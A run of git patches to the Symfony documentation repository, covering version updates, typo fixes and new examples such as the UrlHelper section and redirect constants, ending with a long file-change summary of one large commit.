 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 7993826e30e..e25bcb790f1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -513,7 +513,7 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
-                # the status code to include in the response headers
+                # the response status code (default: 200)
                 statusCode: 200
 
                 # special options defined by Symfony to set the page cache
@@ -542,6 +542,9 @@ provided by Symfony:
                 <!-- the path of the template to render -->
                 <default key="template">static/privacy.html.twig</default>
 
+                <!-- the response status code (default: 200) -->
+                <default key="statusCode">200</default>
+
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
@@ -570,6 +573,9 @@ provided by Symfony:
                     // the path of the template to render
                     'template'  => 'static/privacy.html.twig',
 
+                    // the response status code (default: 200)
+                    'statusCode' => 200,
+
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
@@ -590,6 +596,10 @@ provided by Symfony:
 
     The ``context`` option was introduced in Symfony 5.1.
 
+.. versionadded:: 5.4
+
+    The ``statusCode`` option was introduced in Symfony 5.4.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ea119773970539764ecb31a2fdef8cb50b14db47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:05:09 +0100
Subject: [PATCH 1421/5766] Tweak

---
 lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index de61cfb133b..7b318b6c3a3 100644
--- a/lock.rst
+++ b/lock.rst
@@ -189,8 +189,8 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. In our previous example
-we've seen how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+to lock a small subset of process and let other through. The previous example
+showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 

From 6e4b85bd50bed0ed7ae594b053ab91eeb19140de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:24:42 +0100
Subject: [PATCH 1422/5766] Tweak

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 3bae8e29f8b..87fa30ea818 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -723,7 +723,6 @@ reset the service container between two messages:
                 transports:
                     async:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-                        
 
     .. code-block:: xml
 

From 4417f13b90078472f875ce6af6cbb5c5da2c6c90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:49:23 +0100
Subject: [PATCH 1423/5766] [DomCrawler] Fix typo

---
 components/dom_crawler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 170127b839f..e39a04224e5 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,8 +230,8 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
-    // innerText() is similar to text() but returns only the text that is
-    // the direct descendent of the current node, excluding any child nodes
+    // innerText() is similar to text() but only returns the text that is
+    // the direct descendant of the current node, excluding any child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
     // if content is <p>Foo <span>Bar</span></p>
     // innerText() returns 'Foo' and text() returns 'Foo Bar'

From 789d6b658ea60c3230e46900a69f62a7051c148a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Thu, 2 Dec 2021 16:18:08 +0100
Subject: [PATCH 1424/5766] [Setup] Fix references of previous version

---
 setup/upgrade_major.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index b52b0ad61de..f2cffe9679c 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -33,9 +33,9 @@ it will be removed/changed in the future and that you should stop using it.
 When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``4.4.*``), you should be able to upgrade without a problem. That means that
+``5.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
-(e.g. 4.4) so that you can see *all* the deprecations.
+(e.g. 5.4) so that you can see *all* the deprecations.
 
 To help you find deprecations, notices are triggered whenever you end up
 using a deprecated feature. When visiting your application in the
@@ -104,7 +104,7 @@ done!
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 4.4 and you still need to support 4.3). In these cases, you can still
+    in 5.4 and you still need to support 5.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -167,7 +167,7 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "4.4.*"
+    -       "require": "5.4.*"
     +       "require": "6.0.*"
           }
       }

From 167f5619e54e81b90d124f458205f9bc1d22846b Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 2 Dec 2021 17:25:54 +0100
Subject: [PATCH 1425/5766] PHP 8.1 is the last release

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..adbec8c27a4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -23,7 +23,7 @@ Before creating your first Symfony application you must:
 
   * Note that all newer, released versions of PHP will be supported during the
     lifetime of each Symfony release (including new major versions).
-    For example, PHP 8.0 is supported.
+    For example, PHP 8.1 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From ced58a09bc9e6deb2f207f296ffa01dd73bccf92 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:13:01 +0330
Subject: [PATCH 1426/5766] Update setup.rst (Symfony 5.3)

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5381f7bcee8..c795feab42e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.3 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.3
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.3" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"^5.3" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From c10e3d807bc675b99203ca8fdb9549bf60745d99 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:15:28 +0330
Subject: [PATCH 1427/5766] Update setup.rst (Symfony 5.4)

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index c795feab42e..bd8e018da8f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=5.3 --full
+    $ symfony new my_project_name --version=5.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=5.3
+    $ symfony new my_project_name --version=5.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^5.3" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^5.3" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 89a5ee0580903f63a182829370c2bcc8ce2c5bc4 Mon Sep 17 00:00:00 2001
From: Egor Ushakov <eushakov@gmail.com>
Date: Sun, 28 Nov 2021 23:55:55 +0300
Subject: [PATCH 1428/5766] Update handler_results.rst

---
 messenger/handler_results.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index ee3b09dc99d..8d630d011f4 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -11,7 +11,7 @@ You can use this to get the value returned by the handler(s)::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\HandledStamp;
 
-    $envelope = $messageBus->dispatch(SomeMessage());
+    $envelope = $messageBus->dispatch(new SomeMessage());
 
     // get the value that was returned by the last message handler
     $handledStamp = $envelope->last(HandledStamp::class);

From 5720f50c52cb8164ba923a240e9c48b6b6e79e81 Mon Sep 17 00:00:00 2001
From: Sander De la Marche <sander@sumocoders.be>
Date: Mon, 29 Nov 2021 21:03:00 +0100
Subject: [PATCH 1429/5766] Add UrlHelper section to HttpFoundation docs

---
 components/http_foundation.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6154119e715..ec3450a7ed0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -783,6 +783,38 @@ The following example shows how to detect if the user agent prefers "safe" conte
         $response->setContentSafe();
 
         return $response;
+
+UrlHelper
+-------
+
+Generating absolute (and relative) URLs for a given path is a common need
+in lots of applications. In Twig templates this is trivial thanks to the
+absolute_url() and relative_path() functions. The same functionality can
+be found in the :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class,
+which can be injected as a service anywhere in your application. This class
+provides two public methods called getAbsoluteUrl() and getRelativePath()::
+
+    // src/Normalizer/UserApiNormalizer.php
+
+    namespace App\Normalizer;
+
+    use Symfony\Component\HttpFoundation\UrlHelper;
+
+    class UserApiNormalizer
+    {
+        private UrlHelper $urlHelper;
+
+        public function __construct(UrlHelper $urlHelper)
+        {
+            $this->urlHelper = $urlHelper;
+        }
+
+        public function normalize($user)
+        {
+            return [
+                'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
+            ];
+        }
     }
 
 Learn More

From eee8c62280308ed2dadfea88fd0c9d1aa92eabe3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Dec 2021 17:44:13 +0100
Subject: [PATCH 1430/5766] Minor reword

---
 components/http_foundation.rst | 23 ++++++++++++++---------
 reference/twig_reference.rst   |  4 ++++
 2 files changed, 18 insertions(+), 9 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ec3450a7ed0..344b88d6e99 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -784,18 +784,23 @@ The following example shows how to detect if the user agent prefers "safe" conte
 
         return $response;
 
-UrlHelper
--------
+Generating Relative and Absolute URLs
+-------------------------------------
 
-Generating absolute (and relative) URLs for a given path is a common need
-in lots of applications. In Twig templates this is trivial thanks to the
-absolute_url() and relative_path() functions. The same functionality can
-be found in the :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class,
-which can be injected as a service anywhere in your application. This class
-provides two public methods called getAbsoluteUrl() and getRelativePath()::
+.. versionadded:: 5.4
 
-    // src/Normalizer/UserApiNormalizer.php
+    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
+
+Generating absolute and relative URLs for a given path is a common need
+in some applications. In Twig templates you can use the
+:ref:`absolute_url() <reference-twig-function-absolute-url>` and
+:ref:`relative_path() <reference-twig-function-relative-path>` functions to do that.
 
+The :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class provides the
+same functionality for PHP code via the ``getAbsoluteUrl()`` and ``getRelativePath()``
+methods. You can inject this as a service anywhere in your application::
+
+    // src/Normalizer/UserApiNormalizer.php
     namespace App\Normalizer;
 
     use Symfony\Component\HttpFoundation\UrlHelper;
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e4991845096..d2246edef52 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -225,6 +225,8 @@ Returns the absolute URL (with scheme and host) for the given route. If
     Read more about :doc:`Symfony routing </routing>` and about
     :ref:`creating links in Twig templates <templates-link-to-pages>`.
 
+.. _reference-twig-function-absolute-url:
+
 absolute_url
 ~~~~~~~~~~~~
 
@@ -239,6 +241,8 @@ Returns the absolute URL (with scheme and host) from the passed relative path. C
 :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs
 for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`.
 
+.. _reference-twig-function-relative-path:
+
 relative_path
 ~~~~~~~~~~~~~
 

From 89f89f72972b275251cd42014577bfccfd1795c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Dec 2021 17:45:00 +0100
Subject: [PATCH 1431/5766] Remove a versionadded directive

---
 components/http_foundation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ab410bf19b8..3e2abc7288f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -761,10 +761,6 @@ The following example shows how to detect if the user agent prefers "safe" conte
 Generating Relative and Absolute URLs
 -------------------------------------
 
-.. versionadded:: 5.4
-
-    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
-
 Generating absolute and relative URLs for a given path is a common need
 in some applications. In Twig templates you can use the
 :ref:`absolute_url() <reference-twig-function-absolute-url>` and

From d957600d184e852abc70ae4cdf7a3ec22887ce26 Mon Sep 17 00:00:00 2001
From: Guillaume HARARI <guillaumeharari@hotmail.com>
Date: Fri, 3 Dec 2021 22:51:45 +0100
Subject: [PATCH 1432/5766] Update doctrine.rst

Since 5.4, documentation inject ManagerRegistry but kept Doctrine\ORM\EntityManagerInterface in uses.
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index b2ac440d72a..4e1bc649d39 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -361,7 +361,7 @@ and save it::
 
     // ...
     use App\Entity\Product;
-    use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController

From 142731afab74430fda36d058616d31c53aa71425 Mon Sep 17 00:00:00 2001
From: jerzy-dudzic <30810342+jerzy-dudzic@users.noreply.github.com>
Date: Sun, 5 Dec 2021 12:51:55 +0100
Subject: [PATCH 1433/5766] Removed not needed jQuery mention

Removed mention of required jQuery library for example of "allow_add" in Form Collections. Since 5.3 example is pure javascript
---
 form/form_collections.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c58bf996235..078b74323e0 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -281,9 +281,7 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
-assumes you have it included somewhere on your page (e.g. using Symfony's
-:doc:`Webpack Encore </frontend>`).
+when the user clicks the "Add a tag" link.
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:

From 794dcdf69cbf1d5fa837a2f155bad1f72e69e2f0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 5 Dec 2021 13:14:21 -0400
Subject: [PATCH 1434/5766] Fix broken AuthenticationSuccessEvent event link

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 912ad871b1d..46ab7863a38 100644
--- a/security.rst
+++ b/security.rst
@@ -2575,7 +2575,7 @@ Authentication Events
     where you need to modify the created token (e.g. for multi factor
     authentication).
 
-:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+:class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
     Dispatched when authentication is nearing success. This is the last
     event that can make an authentication fail by throwing an
     ``AuthenticationException``.

From 73b847d1de08dd0a052e7d7f94f61558c33fb7b6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 7 Dec 2021 00:24:48 +0100
Subject: [PATCH 1435/5766] Using const `Response::HTTP_MOVED_PERMANENTLY` for
 redirect

---
 controller.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index ec20a05daa8..54808d2289e 100644
--- a/controller.rst
+++ b/controller.rst
@@ -132,6 +132,7 @@ If you want to redirect the user to another page, use the ``redirectToRoute()``
 and ``redirect()`` methods::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\HttpFoundation\Response
 
     // ...
     public function index(): RedirectResponse
@@ -142,8 +143,8 @@ and ``redirect()`` methods::
         // redirectToRoute is a shortcut for:
         // return new RedirectResponse($this->generateUrl('homepage'));
 
-        // does a permanent - 301 redirect
-        return $this->redirectToRoute('homepage', [], 301);
+        // does a permanent HTTP 301 redirect
+        return $this->redirectToRoute('homepage', [], Response::HTTP_MOVED_PERMANENTLY);
 
         // redirect to a route with parameters
         return $this->redirectToRoute('app_lucky_number', ['max' => 10]);

From 29c2bec52afb169e544c2e57bf37c8506c922b35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 09:59:26 +0100
Subject: [PATCH 1436/5766] Tweak

---
 controller.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/controller.rst b/controller.rst
index 54808d2289e..faa9d08e41a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -144,6 +144,8 @@ and ``redirect()`` methods::
         // return new RedirectResponse($this->generateUrl('homepage'));
 
         // does a permanent HTTP 301 redirect
+        return $this->redirectToRoute('homepage', [], 301);
+        // if you prefer, you can use PHP constants instead of hardcoded numbers
         return $this->redirectToRoute('homepage', [], Response::HTTP_MOVED_PERMANENTLY);
 
         // redirect to a route with parameters

From 8efc947d7f9fa609fbb5b8d4edb62b62a2a22940 Mon Sep 17 00:00:00 2001
From: Goran Grbic <tpojka@gmail.com>
Date: Tue, 3 Nov 2020 17:59:18 +0100
Subject: [PATCH 1437/5766] Minor change in description

---
 .doctor-rst.yaml                              |   15 +-
 .github/CODEOWNERS                            |    3 +
 .github/workflows/ci.yaml                     |  155 +-
 .gitignore                                    |    5 -
 .symfony.cloud.yaml                           |   48 -
 .symfony/routes.yaml                          |   11 -
 .symfony/services.yaml                        |    1 -
 Dockerfile                                    |   16 -
 README.markdown                               |   58 +-
 _build/.requirements.txt                      |    6 -
 _build/Makefile                               |  153 -
 _build/_exts/symfonycom/__init__.py           |    0
 _build/_exts/symfonycom/sphinx/__init__.py    |   86 -
 _build/_exts/symfonycom/sphinx/lexer.py       |   23 -
 _build/_static/rtd_custom.css                 |   23 -
 _build/_static/symfony-logo.svg               |    1 -
 _build/build.php                              |   53 +-
 _build/composer.json                          |   13 +-
 _build/composer.lock                          | 1074 +++----
 _build/conf.py                                |  302 --
 _build/maintainer_guide.rst                   |   37 +
 _build/make.bat                               |  263 --
 _build/redirection_map                        |   40 +-
 _images/components/console/cursor.gif         |  Bin 0 -> 64894 bytes
 _images/components/form/general_flow.png      |  Bin 10427 -> 0 bytes
 _images/components/form/set_data_flow.png     |  Bin 8588 -> 0 bytes
 _images/components/form/submission_flow.png   |  Bin 10285 -> 0 bytes
 .../components/workflow/blogpost_mermaid.png  |  Bin 0 -> 24123 bytes
 _images/docs-pull-request-change-base.png     |  Bin 5849 -> 0 bytes
 ...tom-type-postal-address-fragment-names.svg |    2 +-
 .../form/form-custom-type-postal-address.svg  |    2 +-
 _images/form/form_prepopulation_workflow.svg  |   54 +
 _images/form/form_submission_workflow.svg     |   76 +
 _images/form/form_workflow.svg                |   66 +
 .../notifier/microsoft_teams/message-card.png |  Bin 0 -> 27738 bytes
 _images/notifier/microsoft_teams/message.png  |  Bin 0 -> 7777 bytes
 _images/notifier/slack/field-method.png       |  Bin 0 -> 17302 bytes
 _images/notifier/slack/message-reply.png      |  Bin 0 -> 41766 bytes
 _images/notifier/slack/slack-footer.png       |  Bin 0 -> 16064 bytes
 _images/notifier/slack/slack-header.png       |  Bin 0 -> 10140 bytes
 _images/rate_limiter/fixed_window.svg         |   84 +
 _images/rate_limiter/sliding_window.svg       |   65 +
 _images/rate_limiter/token_bucket.svg         |   83 +
 _images/security/anonymous_wdt.png            |  Bin 7355 -> 17124 bytes
 _images/security/security_events.svg          |  338 ++
 _images/sources/README.md                     |    6 +
 ...tom-type-postal-address-fragment-names.dia |  Bin 2578 -> 2580 bytes
 .../form/form-custom-type-postal-address.dia  |  Bin 2075 -> 2078 bytes
 _images/sources/form/form_events.dia          |  Bin 0 -> 3179 bytes
 _images/sources/rate_limiter/fixed_window.dia |  Bin 0 -> 2356 bytes
 .../sources/rate_limiter/sliding_window.dia   |  Bin 0 -> 2190 bytes
 _images/sources/rate_limiter/token_bucket.dia |  Bin 0 -> 2752 bytes
 _images/sources/security/security_events.dia  |  Bin 0 -> 2566 bytes
 .../service_container/_my_mailer.rst.inc      |   33 -
 best_practices.rst                            |   26 +-
 bundles.rst                                   |    1 -
 bundles/best_practices.rst                    |  242 +-
 bundles/configuration.rst                     |   27 +-
 bundles/prepend_extension.rst                 |    5 +
 cache.rst                                     |  323 +-
 components/asset.rst                          |    2 +
 components/browser_kit.rst                    |   16 +-
 components/cache.rst                          |   41 +-
 .../adapters/couchbasebucket_adapter.rst      |   14 +-
 .../adapters/couchbasecollection_adapter.rst  |  147 +
 .../cache/adapters/doctrine_adapter.rst       |    5 +
 .../cache/adapters/filesystem_adapter.rst     |   11 +-
 .../cache/adapters/memcached_adapter.rst      |   12 -
 .../adapters/pdo_doctrine_dbal_adapter.rst    |    2 +-
 .../cache/adapters/php_files_adapter.rst      |    2 +-
 components/cache/adapters/redis_adapter.rst   |   32 +-
 components/cache/cache_invalidation.rst       |    2 +-
 components/console/events.rst                 |   71 +
 components/console/helpers/cursor.rst         |  104 +
 .../console/helpers/formatterhelper.rst       |   12 +-
 components/console/helpers/index.rst          |    3 +-
 components/console/helpers/map.rst.inc        |    1 +
 components/console/helpers/progressbar.rst    |    2 +-
 components/console/helpers/questionhelper.rst |   26 +-
 components/console/helpers/table.rst          |   10 +-
 components/css_selector.rst                   |    6 +-
 .../dependency_injection/compilation.rst      |    6 +-
 components/dependency_injection/workflow.rst  |    2 +-
 components/dom_crawler.rst                    |   28 +-
 components/event_dispatcher.rst               |    4 +-
 components/event_dispatcher/generic_event.rst |    2 +-
 components/expression_language/syntax.rst     |    2 -
 components/filesystem.rst                     |  236 +-
 components/finder.rst                         |   20 +-
 components/form.rst                           |   19 +-
 components/http_foundation.rst                |   72 +-
 .../http_foundation/session_configuration.rst |   54 +-
 components/http_foundation/sessions.rst       |   10 +
 components/http_kernel.rst                    |   21 +-
 components/index.rst                          |   16 -
 components/intl.rst                           |   92 +-
 components/ldap.rst                           |   16 +
 components/lock.rst                           |   72 +-
 components/messenger.rst                      |    2 +-
 components/mime.rst                           |    8 +-
 components/options_resolver.rst               |   70 +-
 components/phpunit_bridge.rst                 |   79 +-
 components/process.rst                        |   68 +-
 components/property_access.rst                |   59 +-
 components/runtime.rst                        |  500 +++
 components/security/authentication.rst        |  134 +-
 components/security/authorization.rst         |   92 +-
 components/semaphore.rst                      |    2 +-
 components/serializer.rst                     |  463 ++-
 components/string.rst                         |   29 +
 components/uid.rst                            |  330 +-
 components/validator/resources.rst            |   14 +-
 components/var_dumper/advanced.rst            |    8 +-
 components/var_exporter.rst                   |    4 +-
 components/workflow.rst                       |   18 +-
 components/yaml.rst                           |    7 +
 configuration.rst                             |  111 +-
 configuration/dot-env-changes.rst             |   10 +-
 configuration/env_var_processors.rst          |  232 +-
 .../front_controllers_and_kernel.rst          |   20 +-
 configuration/micro_kernel_trait.rst          |   15 +-
 configuration/multiple_kernels.rst            |   56 +-
 configuration/override_dir_structure.rst      |   83 +-
 configuration/secrets.rst                     |   46 +-
 configuration/using_parameters_in_dic.rst     |   10 +-
 console.rst                                   |   88 +-
 console/calling_commands.rst                  |   44 +-
 console/coloring.rst                          |   12 +-
 console/command_in_controller.rst             |   20 +-
 console/commands_as_services.rst              |    4 +-
 console/hide_commands.rst                     |    2 +-
 console/input.rst                             |   21 +-
 console/lockable_trait.rst                    |    4 +-
 console/style.rst                             |   37 +-
 console/verbosity.rst                         |    4 +-
 contributing/code/bc.rst                      |   19 +-
 contributing/code/conventions.rst             |  110 +-
 contributing/code/core_team.rst               |   50 +-
 contributing/code/license.rst                 |    2 +-
 contributing/code/pull_requests.rst           |  166 +-
 contributing/code/standards.rst               |    8 +-
 contributing/code_of_conduct/care_team.rst    |   28 +-
 contributing/community/releases.rst           |   34 +-
 contributing/documentation/overview.rst       |   22 +-
 contributing/index.rst                        |    1 +
 contributing/translations/index.rst           |  103 +
 controller.rst                                |   14 +-
 controller/argument_value_resolver.rst        |    2 +-
 controller/error_pages.rst                    |   21 +-
 controller/service.rst                        |   64 +-
 controller/soap_web_service.rst               |    8 +-
 controller/upload_file.rst                    |    4 +-
 create_framework/front_controller.rst         |   24 +-
 create_framework/http_foundation.rst          |   10 +-
 .../http_kernel_httpkernel_class.rst          |    2 +-
 .../http_kernel_httpkernelinterface.rst       |    4 +-
 create_framework/introduction.rst             |    6 +-
 create_framework/routing.rst                  |    8 +-
 create_framework/templating.rst               |    3 +-
 create_framework/unit_testing.rst             |   20 +-
 deployment.rst                                |   57 +-
 deployment/proxies.rst                        |  139 +-
 docs.json                                     |    3 -
 doctrine.rst                                  |  238 +-
 doctrine/associations.rst                     |  169 +-
 doctrine/custom_dql_functions.rst             |   57 +-
 doctrine/dbal.rst                             |   36 +-
 doctrine/events.rst                           |  128 +-
 doctrine/multiple_entity_managers.rst         |  148 +-
 doctrine/registration_form.rst                |    2 +-
 doctrine/resolve_target_entity.rst            |   19 +-
 doctrine/reverse_engineering.rst              |    5 +-
 email.rst                                     |  663 +---
 event_dispatcher.rst                          |   39 +-
 event_dispatcher/before_after_filters.rst     |    2 +-
 event_dispatcher/method_behavior.rst          |    4 +-
 form/bootstrap4.rst                           |   28 +-
 form/bootstrap5.rst                           |  265 ++
 form/create_custom_field_type.rst             |   55 +-
 form/create_form_type_extension.rst           |   18 +-
 form/data_based_validation.rst                |    6 +-
 form/data_mappers.rst                         |    8 +-
 form/data_transformers.rst                    |   44 +-
 form/direct_submit.rst                        |   25 +-
 form/disabling_validation.rst                 |    2 +-
 form/dynamic_form_modification.rst            |   59 +-
 form/embedded.rst                             |   10 +-
 form/events.rst                               |   26 +-
 form/form_collections.rst                     |  256 +-
 form/form_customization.rst                   |   11 +-
 form/form_themes.rst                          |   56 +-
 form/inherit_data_option.rst                  |   38 +-
 form/multiple_buttons.rst                     |    4 +-
 form/type_guesser.rst                         |   16 +-
 form/unit_testing.rst                         |   15 +-
 form/use_empty_data.rst                       |    6 +-
 form/validation_group_service_resolver.rst    |   12 +-
 form/validation_groups.rst                    |    2 +-
 form/without_class.rst                        |   45 +-
 forms.rst                                     |  216 +-
 frontend.rst                                  |    1 -
 frontend/custom_version_strategy.rst          |   13 +-
 frontend/encore/advanced-config.rst           |   25 +-
 frontend/encore/babel.rst                     |    2 +-
 frontend/encore/bootstrap.rst                 |   23 +-
 frontend/encore/cdn.rst                       |   20 +-
 frontend/encore/copy-files.rst                |   30 +-
 frontend/encore/custom-loaders-plugins.rst    |   13 +-
 frontend/encore/dev-server.rst                |  134 +-
 frontend/encore/faq.rst                       |   17 +-
 frontend/encore/installation.rst              |   19 +-
 frontend/encore/legacy-applications.rst       |   29 +-
 frontend/encore/postcss.rst                   |   57 +-
